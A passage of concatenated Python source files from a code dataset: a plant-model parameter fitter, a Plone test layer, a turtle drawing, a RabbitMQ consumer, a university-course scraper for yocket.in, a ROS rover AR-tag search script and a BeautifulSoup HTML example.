model):\n\n p0 = X.iloc[0] # read in the input info\n params = lmfit.Parameters() # empty parameter class\n success = True # check for success\n\n if model == 'Medlyn':\n min, max = self.param_space('g1')\n params.add('g1', p0.g1, min=min, max=max)\n min, max = self.param_space('sref')\n params.add('sref', p0.sref, min=min, max=max)\n\n if model == 'Eller':\n min, max = self.param_space('kmax')\n params.add('kmaxS1', p0.kmaxS1, min=min, max=max)\n\n if (model == 'ProfitMax') or (model == 'ProfitMax2'):\n min, max = self.param_space('kmax')\n params.add('kmax', p0.kmax, min=min, max=max)\n\n # the following models all require the Sperry kmax as an input!\n if model == 'Tuzet':\n min, max = self.param_space('g1')\n params.add('g1T', p0.g1T, min=min, max=max)\n\n if 'Tleaf' in X.columns: # vary g1 and kmax\n min, max = self.param_space('kmax')\n params.add('kmaxT', p0.kmax, min=min, max=max)\n\n else: # vary g1 and Pref, sref fixed\n min, max = self.param_space('PrefT', P50=p0.P50, P88=p0.P88)\n\n if any(X['Ps_pd'] > p0.PrefT):\n params.add('PrefT', p0.PrefT, min=min, max=max)\n\n else:\n params.add('PrefT', -p0.P88, min=min, max=max)\n\n if model == 'WUE-LWP':\n min, max = self.param_space('Lambda')\n params.add('Lambda', p0.Lambda, min=min, max=max)\n\n if model == 'CGain':\n min, max = self.param_space('Kappa')\n params.add('Kappa', p0.Kappa, min=min, max=max)\n\n if model == 'CMax':\n min, max = self.param_space('Alpha')\n params.add('Alpha', p0.Alpha, min=min, max=max)\n min, max = self.param_space('Beta')\n params.add('Beta', p0.Beta, min=min, max=max)\n\n if model == 'SOX-OPT':\n min, max = self.param_space('kmax')\n params.add('kmaxS2', p0.kmaxS2, min=min, max=max)\n params.add('factor', 0.7, min=0.05, max=0.95) # ancillary term\n min, max = self.param_space('ksc_prev')\n params.add('ksc_prev', 0.7 * p0.kmaxS2, min=min, max=max,\n expr='factor * kmaxS2')\n\n if model == 'LeastCost':\n min, max = self.param_space('kmax')\n params.add('kmaxLC', p0.kmaxLC, min=min, max=max)\n min, max = self.param_space('Eta')\n params.add('Eta', p0.Eta, min=min, max=max)\n\n if model == 'CAP':\n min, max = self.param_space('krl')\n params.add('krlC', p0.krlC, min=min, max=max)\n min, max = self.param_space('Pcrit', P50=p0.P50, P88=p0.P88)\n\n if any(X['Ps_pd'] > p0.PcritC):\n params.add('PcritC', p0.PcritC, min=min, max=max)\n\n else:\n params.add('PcritC', -p0.P88, min=min, max=max)\n\n if model == 'MES':\n min, max = self.param_space('krl')\n params.add('krlM', p0.krlM, min=min, max=max)\n min, max = self.param_space('Pcrit', P50=p0.P50, P88=p0.P88)\n\n if any(X['Ps_pd'] > p0.PcritM):\n params.add('PcritM', p0.PcritM, min=min, max=max)\n\n else:\n params.add('PcritM', -p0.P88, min=min, max=max)\n\n if not os.path.isdir(self.opath): # create output dir\n os.makedirs(self.opath)\n\n # run the minimizer\n if self.method == 'emcee':\n out = lmfit.minimize(fres, params, args=(model, X, Y, self.inf_gb,),\n method=self.method, steps=self.steps,\n nwalkers=self.nchains, burn=self.burn,\n thin=self.thin, is_weighted=False,\n progress=False, nan_policy='omit')\n\n else:\n out = lmfit.minimize(fres, params, args=(model, X, Y, self.inf_gb,),\n method=self.method, nan_policy='omit')\n\n for param in out.params.values():\n\n if np.isclose(param.value, param.init_value):\n params[param.name] = lmfit.Parameter(name=param.name,\n value=1.5 *\n param.init_value)\n out = lmfit.minimize(fres, params,\n args=(model, X, Y, self.inf_gb,),\n method=self.method,\n nan_policy='omit')\n\n if not os.path.isfile(os.path.join(self.opath, '%s.txt' % (model))):\n txt = open(os.path.join(self.opath, '%s.txt' % (model)), 'w+')\n\n else: # append to existing file\n txt = open(os.path.join(self.opath, '%s.txt' % (model)), 'a+')\n\n txt.write('\\n')\n txt.write(lmfit.fit_report(out))\n\n if not success:\n txt.write('\\n## Warning: had to fix first parameter value')\n\n txt.write('\\n')\n txt.close() # close text file\n\n \"\"\"\n # two-step test: recalibration of both Pref and sref\n if success and (model == 'Tuzet') and not ('Tleaf' in X.columns):\n\n # retrieve the first (now solved for) parameter name and value\n p1name = str(out.params.valuesdict().popitem(last=False)[0])\n p1val = out.params.valuesdict().popitem(last=False)[1]\n\n # reset the input parameter dic accordingly\n params[p1name].set(value=p1val, vary=False)\n\n # add sref to vary alongside Pref\n min, max = self.param_space('srefT')\n params.add('srefT', p0.srefT, min=min, max=max)\n\n # re-run the minimizer\n if self.method == 'emcee':\n out = lmfit.minimize(fres, params, args=(model, X, Y,\n self.inf_gb),\n method=self.method, steps=self.steps,\n nwalkers=self.nchains, burn=self.burn,\n thin=self.thin, is_weighted=False,\n progress=False)\n\n else:\n out = lmfit.minimize(fres, params, args=(model, X, Y,\n self.inf_gb),\n method=self.method)\n\n if not os.path.isfile(os.path.join(self.opath,\n '%s2.txt' % (model))):\n txt = open(os.path.join(self.opath, '%s2.txt' % (model)), 'w+')\n\n else: # append to existing file\n txt = open(os.path.join(self.opath, '%s2.txt' % (model)), 'a+')\n\n txt.write('\\n')\n txt.write(lmfit.fit_report(out))\n txt.write('\\n')\n txt.close() # close text file\n \"\"\"\n\n return out.params.valuesdict()\n","sub_path":"src/calibrations/fit_models.py","file_name":"fit_models.py","file_ext":"py","file_size_in_byte":10846,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"605613417","text":"from plone.app.testing import PloneSandboxLayer\nfrom plone.app.testing import applyProfile\nfrom plone.app.testing import PLONE_FIXTURE\nfrom plone.app.testing import IntegrationTesting\nfrom plone.app.testing import FunctionalTesting\nfrom plone.app.robotframework.testing import AUTOLOGIN_LIBRARY_FIXTURE\nfrom plone.testing import z2\n\nfrom zope.configuration import xmlconfig\n\n\nclass CollectiveWorkspaceLayer(PloneSandboxLayer):\n\n defaultBases = (PLONE_FIXTURE,)\n\n def setUpZope(self, app, configurationContext):\n # Load ZCML\n import collective.workspace\n xmlconfig.file(\n 'configure.zcml',\n collective.workspace,\n context=configurationContext\n )\n\n z2.installProduct(app, 'collective.workspace')\n\n def tearDownZope(self, app):\n # Uninstall products installed above\n z2.uninstallProduct(app, 'collective.workspace')\n\n def setUpPloneSite(self, portal):\n applyProfile(portal, 'collective.workspace:default')\n\n # Create a content type with the behavior enabled\n from plone.dexterity.fti import DexterityFTI\n fti = DexterityFTI('Workspace')\n fti.behaviors = (\n 'plone.app.content.interfaces.INameFromTitle',\n 'plone.app.dexterity.behaviors.metadata.IBasic',\n 'collective.workspace.interfaces.IWorkspace',\n )\n portal.portal_types._setObject('Workspace', fti)\n\n\nCOLLECTIVE_WORKSPACE_FIXTURE = CollectiveWorkspaceLayer()\nCOLLECTIVE_WORKSPACE_INTEGRATION_TESTING = IntegrationTesting(\n bases=(COLLECTIVE_WORKSPACE_FIXTURE,),\n name=\"CollectiveWorkspaceLayer:Integration\"\n)\nCOLLECTIVE_WORKSPACE_ROBOT_TESTING = FunctionalTesting(\n bases=(\n COLLECTIVE_WORKSPACE_FIXTURE, AUTOLOGIN_LIBRARY_FIXTURE, z2.ZSERVER),\n name=\"CollectiveWorkspaceLayer:Robot\"\n)\n","sub_path":"src/collective/workspace/testing.py","file_name":"testing.py","file_ext":"py","file_size_in_byte":1837,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"445049013","text":"from turtle import *\ns = Turtle() #s is the object of Turtle class\nw = Screen() #w is the object of Screen claa\ns.shape(\"turtle\")\ns.speed(1)\nw.title(\"Vish Turtle\")\n#s.write(\"Vishal\")\n#w.bgcolor(\"yellow\")\ns.color(\"green\")\n\ns.pencolor(\"Blue\")\ns.pensize(5)\n\n\n\"\"\"s.begin_fill()\nfor i in range(4):\n\n s.forward(100)\n s.left(90)\n\ns.end_fill()\ns.up()\ns.backward(150)\ns.down()\ns.color(\"orange\")\ns.pencolor('blue')\ns.begin_fill()\nfor j in range(4):\n\n s.forward(100)\n s.left(90)\n\ns.end_fill()\"\"\"\ns.up()\ns.goto(-100,90)\ns.down()\ns.begin_fill()\ns.stamp()\ns.shape('circle')\n\ns.circle(100,steps=10)\n\n\ns.end_fill()\ndone()","sub_path":"V_turtle1.py","file_name":"V_turtle1.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"143584879","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport rospy\nfrom move_base_msgs.msg import MoveBaseAction, MoveBaseGoal, MoveBaseActionResult\nimport actionlib\nfrom actionlib_msgs.msg import *\nfrom geometry_msgs.msg import PoseStamped,Twist, Point\nfrom math import radians, cos, sin, asin, sqrt, pow, pi, atan2\nfrom std_msgs.msg import String\nfrom nav_msgs.msg import Odometry\nfrom rover20_state_mach.msg import StateMsg\nfrom sensor_msgs.msg import Imu\nfrom tf.transformations import euler_from_quaternion\nimport tf\nimport time\n\nx= 0.0\ny= 0.0\ntheta = 0.0\n#Servocamera = Servocamera()\n# Changes are made by Berke Algul and in 24.12.2019\n# Changes are made by Berke Algul and Murruvet Bozkurt in 7.2.2020\n\nclass GoForwardAvoid():\n\tdef __init__(self):\n\t\trospy.init_node('ball_search', anonymous=False)\n\t\tself.currPosX=0\n\t\tself.currPosY=0\n\t\tself.currPosZ=0\n\t\tself.yaw=0\n\t\tself.startMsg = \"s10f\"\n\t\tself.stopMsg = \"s01f\"\n\t\tself.resetMsg = \"s00f\"\n\t\tself.rotate_once=1 # deleted in code\n\t\t # if servo completed its rotation this will be true\n\t\tself.send_once=1\n\t\tself.R=0.5\n\t\tself.ball_is_found=0\n\t\tself.dir = 1\n\t\tself.sangle = 0 #servo angle\n\t\tself.sc = 4\n\t\tself.left = False #left artag\n\t\tself.right = False #right artag\n\t\tself.rotate_done = None\n\t\tself.half_rotate = False\n\t\tself.clockwise = None \n\t\tself.speed = 0\n\t\tself.approach_counter = 0\n\t\tself.state=StateMsg()\n\t\tself.search_done = False\n\t\tself.counter_saw =0\n\t\t#self.imuAngle = 0\n\t\t#self.donedone = Servocamera.done_servo_rotation()\n\t\tprint(\"waiting move base client...\")\n\t\tself.client = actionlib.SimpleActionClient('move_base',MoveBaseAction)\n\t\tself.client.wait_for_server()\n\t\tprint(\"client is on\")\n\t\trate = rospy.Rate(10) # 1hz\n\t\tself.search_topic = '/artag_search_done'\n\t\t#tell the action client that we want to spin a thread by default\n\t\tself.Pub = rospy.Publisher('/cmd_vel', Twist, queue_size=10)\n\t\tself.Servo_pub = rospy.Publisher('/servo_control', String, queue_size=10)\n\t\tself.done_pub = rospy.Publisher('/artag_search_done', String, queue_size=10)\n\t\tself.rover_rotated = False\n\t\tself.servo_rotating = False\n\t\tself.servo_rotated = False\n\t\tself.servo_rotation_count = 0\n\n\t\twhile not rospy.is_shutdown():\n\t\t\trospy.Subscriber('/outdoor_waypoint_nav/odometry/filtered',Odometry, self.robotPoseSubscriber)\n\t\t\trospy.Subscriber('/imu/data', Imu, self.robotPoseSubscriber)\n\t\t\trospy.Subscriber('/rover_state_topic',StateMsg, self.stateSubscriber)\n\t\t\t#rospy.Subscriber('/stage_counter_topic', String, self.stageSubscriber)\n\t\t\trospy.Subscriber('/servo_angle', String, self.angleSubscriber) \n\t\t\t#rospy.Subscriber('/odometry/filtered', Odometry, self.odomSubsriber)\n\t\t\t#print(self.state.state)\n\t\t\t#print(\"rotate_done:\", self.rotate_done)\n\t\t\t#print(\"SC: \", self.sc)\n\t\t\t#rospy.Subscriber('/move_base/result', MoveBaseActionResult, self.moveSubscriber)\n\t\t\t#print(self.state.state)\n\t\t\tif (self.state.state==self.state.FIND_ARTAG):\n\t\t\t\trospy.Subscriber('/px_coordinates', String, self.artag_Subscriber)\n\t\t\t\trospy.Subscriber('/px_coordinates1', String, self.artag_Subscriber1)\n\t\t\t\trospy.Subscriber('/servodone', String, self.done_rotate_Subscriber)\n\n\t\t\t\t#print(\"searching\")\n\t\t\t\tprint(\"L: \", self.left, \" R: \", self.right)\n\t\t\t\tprint(\"stage counter:\", self.sc)\n\t\t\t\t#print(\"servo_rotated: \", self.servo_rotated)\n\t\t\t\tprint(\"servo rotating: \", self.servo_rotating)\n\t\t\t\tprint(\"servo_rotation_count: \", self.servo_rotation_count)\n\t\t\t\tif(self.left == True or self.right == True):\n\t\t\t\t\tself.counter_saw += 1\n\n\t\t\t\tif self.servo_rotating == False:\n\t\t\t\t\tprint(\"SERVO ROTATING: FALSEEEEEE\")\n\t\t\t\t\tif self.servo_rotation_count == 0:\n\t\t\t\t\t\tif(self.left == False and self.right == False and self.counter_saw > 0):\n\t\t\t\t\t\t\tself.start_servo_rotation()\n\t\t\t\t\t\t\tself.servo_rotating = True\n\t\t\t\t\t\t\tprint(\"BURALAR DUTLUUUUK\")\n\t\t\t\t\t\t\tcontinue\n\n\t\t\t\t\tif self.rover_rotated == False and self.servo_rotation_count == 1 and self.left == False and self.right == False: \n\t\t\t\t\t\tself.clockwise = False \n\t\t\t\t\t\tself.rotate(180)\n\t\t\t\t\t\ttime.sleep(3)\n\t\t\t\t\t\tself.servo_rotated = False\n\t\t\t\t\t\tself.rover_rotated = True\n\t\t\t\t\t\tprint(\"rover rotated\")\n\t\t\t\t\t\tif(self.servo_rotated == False and self.rover_rotated == True):\n\t\t\t\t\t\t\tif(self.left == False and self.right == False and self.counter_saw > 0):\n\t\t\t\t\t\t\t\tself.start_servo_rotation()\n\t\t\t\t\t\t\t\ttime.sleep(5)\n\t\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t\n\t\t\t\t\tif(self.rover_rotated == True and self.servo_rotation_count == 2):\n\t\t\t\t\t\tprint(\"Left:\", self.left)\n\t\t\t\t\t\tprint(\"Right:\", self.right)\n\t\t\t\t\t\tprint(\"SC:\", self.sc)\n\t\t\t\t\t\t#print(\"jnbxfjbnfxjbmnbjnbjxnbjxfnbkxjnb jfnbjkfnbkjnbkjcvnbjcnbkjbnkcnbkcngbkdghbkjdnbfhnmvnbjkghjfcnbfjkfhgbfjvb gjdgbhdjkdvbngdjmvnbgdjmvdb mvfsmycebntjtghekjgtnbwtkxfwnbwdjkwhnbw jtmxvcn btwjcmtnbw tjcwvnb tjwdnhtjkbw nvcwtwtwttery\")\n\t\t\t\t\t\tif(self.left == False and self.right == False):\n\t\t\t\t\t\t\tprint(\"SALYANGOZ----------SALYANGOZ------------SALYANGOZ------------SALYANGOZ\")\n\t\t\t\t\t\t\tself.go_forward()\n\t\t\t\t\t\t\tself.clockwise = False\n\t\t\t\t\t\t\tself.rotate(90)\n\t\t\t\t\t\tself.rover_rotated = False\n\t\t\t\t\t\tself.servo_rotated = False\n\t\t\t\t\t\t\n\t\t\t\t\tif(self.sc >= 4 and self.left == True and self.right == False):\n\t\t\t\t\t\tprint(\"LEEFFFTTT ------- LEFTT ----------LEEFFFTTT ---------LEEFFFTTT\")\n\t\t\t\t\t\tself.speed = 2\n\t\t\t\t\t\tself.go_forward()\n\t\t\t\t\t\ttime.sleep(4)\n\t\t\t\t\t\tself.client.cancel_goal()\n\t\t\t\t\t\tself.clockwise = True\n\t\t\t\t\t\tself.rotate(90)\n\t\t\t\t\t\ttime.sleep(3)\n\t\t\t\t\t\tself.speed = 2 \n\t\t\t\t\t\tself.go_forward() \n\t\t\t\t\t\ttime.sleep(4)\n\t\t\t\t\t\tself.client.cancel_goal()\n\t\t\t\t\t\tself.clockwise = False \n\t\t\t\t\t\tself.rotate(90)\n\t\t\t\t\t\ttime.sleep(3)\n\n\n\t\t\t\t\tif(self.sc >= 4 and self.right == True and self.left == False):\n\t\t\t\t\t\tprint(\"RIGHTTTT ------- RIGHTTTT ------------- RIGHTTTT---------RIGHTT\")\n\t\t\t\t\t\tself.speed = 2\n\t\t\t\t\t\tself.go_forward()\n\t\t\t\t\t\ttime.sleep(4)\n\t\t\t\t\t\tself.client.cancel_goal()\n\t\t\t\t\t\t#self.client.cancel_all_goals()\n\t\t\t\t\t\tself.clockwise = False \n\t\t\t\t\t\tself.rotate(90)\n\t\t\t\t\t\ttime.sleep(3)\n\t\t\t\t\t\tself.speed = 2\n\t\t\t\t\t\tself.go_forward()\n\t\t\t\t\t\ttime.sleep(4)\n\t\t\t\t\t\tself.client.cancel_goal()\n\t\t\t\t\t\tself.clockwise = True\n\t\t\t\t\t\tself.rotate(90)\n\t\t\t\t\t\ttime.sleep(3)\n\n\t\t\t\t\t\t\n\t\t\tif self.search_done == True:\n\t\t\t\tself.done_pub.publish(\"1\")\n\t\t\telse:\n\t\t\t\tself.done_pub.publish(\"0\")\t\t\t\n\n\t\t\trate.sleep()\n\n\tdef imuSubscriber(self, msg):\n\t\tq = msg.pose.orientation.z\n\t\te = euler_from_quaternion(q)\n\t\tself.imuAngle = e[2]\n\n\tdef stateSubscriber(self,stateMsg):\n\t\tself.state=stateMsg\n\t\tif(self.state.state==self.state.REACH_ARTAG or self.state.state==self.state.APPROACH):# and self.approach_counter > 0): # LET MUR KNOW THIS -Berke Algül\n\t\t\tif(self.send_once==1):\n\t\t\t\tself.search_done = True\n\t\t\t\tprint(\"SEARCH DONE:\", self.search_done)\n\t\t\t\tprint(\"found artag\")\n\t\t\t\t#print(\"APPROACH_COUNTER:\", self.approach_counter)\n\t\t\t\tself.stop_servo_rotation() #stop servo\n\t\t\t\ttime.sleep(2)\t\t\t\t\n\t\t\t\trospy.Subscriber('/servo_angle', String, self.angleSubscriber) #subscribe servo angle\n\t\t\t\ttry:\n\t\t\t\t\tsangleStr = self.sangle[:3]\n\t\t\t\t\tself.sangle = int(float(sangleStr))\n\t\t\t\texcept:\n\t\t\t\t\tprint(\"Error: \",sangleStr)\n\n\t\t\t\tprint(\"ANGLE OF SERVO CAMERA: \", self.sangle)\n\t\t\t\ttime.sleep(2)# DELAY REDUCED\n\t\t\t\tself.servoangle2 = (self.yaw - int(float(self.sangle)))\n\t\t\t\tif(self.servoangle2 < 0):\n\t\t\t\t\tself.clockwise = False\n\t\t\t\tif(self.servoangle2 > 0):\n\t\t\t\t\tself.clockwise = True\n\t\t\t\t#self.servoangle2 = 360 + int(float(self.servoangle))\n\t\t\t\tprint(\"YAWWWWWWWW\", self.yaw)\n\t\t\t\tprint(\"Rotate angle : \", self.servoangle2)\n\t\t\t\tself.rotate(abs(self.servoangle2)) #Rover turns as much as the angle the servo sees the artag.\n\t\t\t\ttime.sleep(5)\n\t\t\t\tself.twist = Twist()\n\t\t\t\tself.twist.linear.x=0\n\t\t\t\tself.twist.angular.z=0\n\t\t\t\tself.Pub.publish(self.twist)\n\t\t\t\t#self.client.cancel_goal()\n\t\t\t\t#self.client.cancel_all_goals()\n\t\t\t\tself.send_once=0\n\t\t\t\tself.half_rotate = True\n\t\t\t\tif(self.half_rotate == True):\n\t\t\t\t\tprint(\"we are here, baby!!\")\n\t\t\t\t\tself.Servo_pub.publish(self.resetMsg)\n\n\n\tdef angleSubscriber(self, data): \n\t\tself.sangle = data.data #convert string to integer.\n\n\tdef stageSubscriber(self, data): #px_coordinates\n\t\tself.sc = data.data\n\t\t#print(\"stage:\", self.sc/home/muruvvet/rover20_ws/src/rover_20/rover_20_control/scripts/artag_search.py)\n\n\tdef artag_Subscriber(self, data): #px_coordinates1\n\t\tself.a_coor = data.data\n\n\t\tif self.a_coor != \"-\":\n\t\t\tself.left = True\n\t\telse:\n\t\t\tself.left = False\n\n\tdef artag_Subscriber1(self, data):\n\t\tself.a_coor1 = data.data\n\n\t\tif self.a_coor1 != \"-\":\n\t\t\tself.right = True\n\t\telse:\n\t\t\tself.right = False\n\n\tdef done_rotate_Subscriber(self, data):\n\t\tself.rotate_done = data.data\n\t\t#print(\"lkdsfjfkh\")\n\t\tif(self.rotate_done == \"1\" and self.servo_rotating == True):\n\t\t\tprint(\"rotate_done is true\")\n\t\t\tself.servo_rotating = False\n\t\t\tself.servo_rotation_count += 1\n\t\t'''else:\n\t\t\tself.servo_rotated = False'''\n\t\t\n\tdef robotPoseSubscriber(self,poseMsg): #Odometry update recieved from ROS topic, run this function\n\t\tquaternion = (\n\t\tposeMsg.orientation.x,\n\t\tposeMsg.orientation.y,\n\t\tposeMsg.orientation.z,\n\t\tposeMsg.orientation.w)\n\t\teuler = tf.transformations.euler_from_quaternion(quaternion)\n\t\tself.roll = euler[0]\n\t\tself.pitch = euler[1]\n\t\tself.yaw = euler[2]\n\n\tdef go_forward(self):\n\t\tprint(\"Going forward...\")\n\t\tgoal=MoveBaseGoal()\n\t\tgoal.target_pose.header.frame_id = \"/base_link\"\n\t\tdist=1 #1 metre ileri gidiyor \n\t\tgoal.target_pose.pose.position.x = dist\n\t\tgoal.target_pose.pose.position.y =0\n\t\tgoal.target_pose.pose.position.z = 0\n\n\t\tq = tf.transformations.quaternion_from_euler(0,0,0)\n\t\tgoal.target_pose.pose.orientation.x = q[0]\n\t\tgoal.target_pose.pose.orientation.y = q[1]\n\t\tgoal.target_pose.pose.orientation.z = q[2]\n\t\tgoal.target_pose.pose.orientation.w = q[3]\n\n\t\tself.client.send_goal(goal)\n\t\t#wait = self.client.wait_for_result()\n\t\tprint(\"-------------------MOVE BASE ENDS.------------\")\n\n\t'''def go_forward(self):\n\t\tprint(\"I am a barbie girl, let's go party with TWIST!!\")\n\t\tself.twist = Twist()\n\t\tself.twist.linear.x =0.5 + self.speed\n\t\tself.speed += 0.2 \n\t\tprint(\"Move base ends\")'''\n\n\tdef rotate(self, angle):\n\t\tprint(\"Rotating according to servo angle...\")\n\t\tangle = angle*2*pi/360\n\t\tself.twist = Twist()\n\t\tif(self.clockwise == True):\n\t\t\tself.twist.angular.z= -0.4\n\t\tif(self.clockwise == False):\n\t\t\tself.twist.angular.z = 0.4\n\t\tself.twist.linear.x=0\n\t\tself.t0 = rospy.Time.now().to_sec()\n\t\tself.current_angle = 0\n\t\twhile(self.current_angle < angle):\n\t\t\tself.Pub.publish(self.twist)\n\t\t\tself.t1 = rospy.Time.now().to_sec()\n\t\t\tself.current_angle = 0.4*(self.t1-self.t0)\n\t\t#self.Pub.publish(self.twist)\n\n\n\tdef start_servo_rotation(self):\n\t\tself.Servo_pub.publish(self.startMsg)\n\t\t#self.servo_rotated = False\n\t\tself.servo_rotating = True\n\t\t#self.servo_rotation_count += 1\n\t\tprint(\"servo has started to rotate.\")\n\t\tself.approach_counter += 1\n\n\tdef stop_servo_rotation(self):\n\t\tself.Servo_pub.publish(self.stopMsg)\n\t\t#self.servo_rotated = True\n\t\tself.servo_rotating = False\n\t\tprint(\"servo had stopped\")\n\t\tself.servo_rotation_count = 4\n\t\tprint(\"APPROACH_COUNTER:\", self.approach_counter)\n\n\n\t'''def odomSubscriber(self, msg):\n\t\tglobal x \n\t\tglobal y\n\t\tglobal theta\n\n\t\tx = msg.pose.pose.position.x \n\t\ty = msg.pose.pose.position.y\n\n\t\trotation_q = msg.pose.pose.orientation\n\n\t\t(roll, pitch, theta) = euler_from_quaternion([rotation_q.x, rotation_q.y, rotation_q.z, rotation_q.w])\n\n\tdef go_forward(self):\n\t\tprint(\"Going forward...\")\n\t\trospy.Subscriber('/odometry/filtered', Odometry, self.odomSubscriber)\n\t\ttime.sleep(2)\n\t\tspeed = Twist()\n\t\t#r = rospy.rate(4)\n\t\tgoal = Point()\n\t\tdist = 0.5\n\t\tgoal.x = dist\n\t\tgoal.y = 0\n\n\t\tdelta_x = goal.x - x\n\t\tdelta_y = goal.y - y\n\n\t\tangle_of_goal = atan2(delta_y, delta_x)\n\t\twhile delta_x < 0.1:\n\t\t\trospy.Subscriber('/odometry/filtered', Odometry, self.odomSubscriber)\n\t\t\tspeed.linear.x = 0.4\n\t\t\tspeed.angular.z = 0.0\n\t\t\tprint(\"let's go part!!aaaaaaa\")\n\t\t\tdelta_x = goal.x - x\n\t\t\t\n\t\tdist += 0.5\n\n\t\tself.Pub.publish(speed)''' \n\nif __name__ == '__main__':\n\ttry:\n\t\tGoForwardAvoid()\n\texcept rospy.ROSInterruptException:\n\t\trospy.loginfo(\"Exception thrown\")\n\n","sub_path":"sar/rover_20_control/scripts/artag_mür.py","file_name":"artag_mür.py","file_ext":"py","file_size_in_byte":11880,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"260148374","text":"import pika\nimport time\n\nconnection = None\nwhile connection is None:\n try:\n connection = pika.BlockingConnection(pika.ConnectionParameters('broker'))\n except:\n time.sleep(10)\n pass\n\nchannel = connection.channel()\n\nchannel.exchange_declare(exchange='fan_logs',\n exchange_type='fanout')\n\nresult = channel.queue_declare(exclusive=True)\nqueue_name = result.method.queue\n\nchannel.queue_bind(exchange='fan_logs',\n queue=queue_name)\n\nprint(' [*] Waiting for logs. To exit press CTRL+C')\n\ndef callback(ch, method, properties, body):\n print(\" [x] %r\" % body)\n\nchannel.basic_consume(callback,\n queue=queue_name,\n no_ack=True)\n\nchannel.start_consuming()","sub_path":"3-pub-sub/consumer/consume.py","file_name":"consume.py","file_ext":"py","file_size_in_byte":756,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"579944717","text":"###########################################################################################################\n#Créateurs: LAUGEL Aymeric et LE HENAFF Léo (tutrice JRIBI Salma)\n#Statut: élèves ingénieurs en 4e année à l'ESME Sudria\n#Projet: Prédiction d'admission en étude supérieure\n#Date: 04/2019\n\n#Utilité: Récupère les URLs des Universités/Spécialités/Cours pour scraper ultérieurement leurs données\n###########################################################################################################\n\n\nimport requests\nfrom lxml import html\nimport pandas as pd\nimport time\n\n#définir la page que l'on compte atteindre\nURL = \"https://yocket.in/universities?page=1\"\n#effectuer une requête à cet URL\nResponse = requests.get(URL, headers = dict(referer = URL))\nprint(URL)\n#Enregistrer la page HTML\nHTML = html.fromstring(Response.content)\n\n#Etudier l'HTML de la page pour retrouver la liste des URLs et des noms d'universités\nListUniversityURL = HTML.xpath(\"//div[@id='university_list']//div[@class='row']//div[@class='col-xs-12 col-sm-4']//p[@class='lead']//a/@href\")\nListUniversityName = HTML.xpath(\"//div[@id='university_list']//div[@class='row']//div[@class='col-xs-12 col-sm-4']//p[@class='lead']//a/text()\")\n\n#nom du fichier du fichier dans lequel vous voulez enregistrer les informations\ncsvName = \"CoursesUnfilled.csv\"\n\n#Attendre au moins 2 secondes pour ne pas gêner le site\ntimeToSleep = 2\n\n\ndf = pd.read_csv(csvName, sep=';', dtype=str, encoding='cp1252')\n\n#pour chaque université dans la liste\nfor CURRENT_UNIVERSITY in range(len(ListUniversityURL)):\n temporary_UNIVERSITY_URL = \"https://yocket.in{}\".format(ListUniversityURL[CURRENT_UNIVERSITY])\n \n \n DFspecialityURL = df.iloc[:, [0]].values\n specialityURLCrawled = 0\n #On vérifie si l'on a pas déjà récupéré au moins une spécialité de cette université\n for i in range(len(DFspecialityURL)):\n if(DFspecialityURL[i] == temporary_UNIVERSITY_URL):\n print(temporary_UNIVERSITY_URL, \" SPECIALITY ALREADY CRAWLED\")\n specialityURLCrawled = 1\n break\n #Si oui, on passe à la prochaine université\n if(specialityURLCrawled):\n continue\n \n #Sinon, on va sur la page de cette université\n ProfileResponse = requests.get(temporary_UNIVERSITY_URL, headers = dict(referer = temporary_UNIVERSITY_URL))\n time.sleep(timeToSleep)\n \n #On vérifie qu'un capcha ne nous bloque pas\n UniversityHTML = html.fromstring(ProfileResponse.content)\n if(len(UniversityHTML.xpath(\"//form/@action\")) > 0):\n if((UniversityHTML.xpath(\"//form/@action\")[0]).find('error') != -1):\n print(\"Bot Detected, IP blocked !!!\\n\\n\\n\\n\")\n df.to_csv(csvName, sep=\";\", index=False)\n break\n #On vérifie que l'URL renvoie bien à la page recherchée\n if(len(UniversityHTML.xpath(\"//div[@class='col-sm-8']/h2/text()\")) > 0):\n if((UniversityHTML.xpath(\"//div[@class='col-sm-8']/h2/text()\")[0]).find('Page Not Found') != -1):\n print(\"Page Not Found !!!\\n\\n\\n\\n\")\n continue\n \n #On enregistre toutes les spécialités de l'université actuelle\n UniversitySpecialitiestab = UniversityHTML.xpath(\"//div[@class='btn-group']//a/@href[1]\")\n \n\n\n #pour chaque spécialité\n for CURRENT_SPECIALITY in range(len(UniversitySpecialitiestab)):\n CURRENT_SPECIALITY_URL = \"https://yocket.in{}\".format(UniversitySpecialitiestab[CURRENT_SPECIALITY])\n ProfileResponse = requests.get(CURRENT_SPECIALITY_URL, headers = dict(referer = CURRENT_SPECIALITY_URL))\n #print(CURRENT_SPECIALITY_URL)\n time.sleep(timeToSleep)\n print(\"Speciality\", CURRENT_SPECIALITY, \":\", CURRENT_SPECIALITY_URL)\n \n OneSpecialityHTML = html.fromstring(ProfileResponse.content)\n if(len(OneSpecialityHTML.xpath(\"//form/@action\")) > 0):\n if((OneSpecialityHTML.xpath(\"//form/@action\")[0]).find('error') != -1):\n print(\"Bot Detected, IP blocked !!!\\n\\n\\n\\n\")\n GetOut = 1\n break\n if(len(OneSpecialityHTML.xpath(\"//div[@class='col-sm-8']/h2/text()\")) > 0):\n if((OneSpecialityHTML.xpath(\"//div[@class='col-sm-8']/h2/text()\")[0]).find('Page Not Found') != -1):\n print(\"Page Not Found !!!\\n\\n\\n\\n\")\n continue\n \n #On enregistre les cours de cette spécialité\n ListCourses = OneSpecialityHTML.xpath(\"//ul[@class='university-course-list']//a/@href\")\n i=0\n while i The Dormouse's story\n\nasdf\n
\n The Dormouse's story总共\n

f

\n
\n
Once upon a time there were three little sisters; and their names were\n Elsfie,\n Lacie and\n Tillie;\nand they lived at the bottom of a well.
\nad
sf\n

...

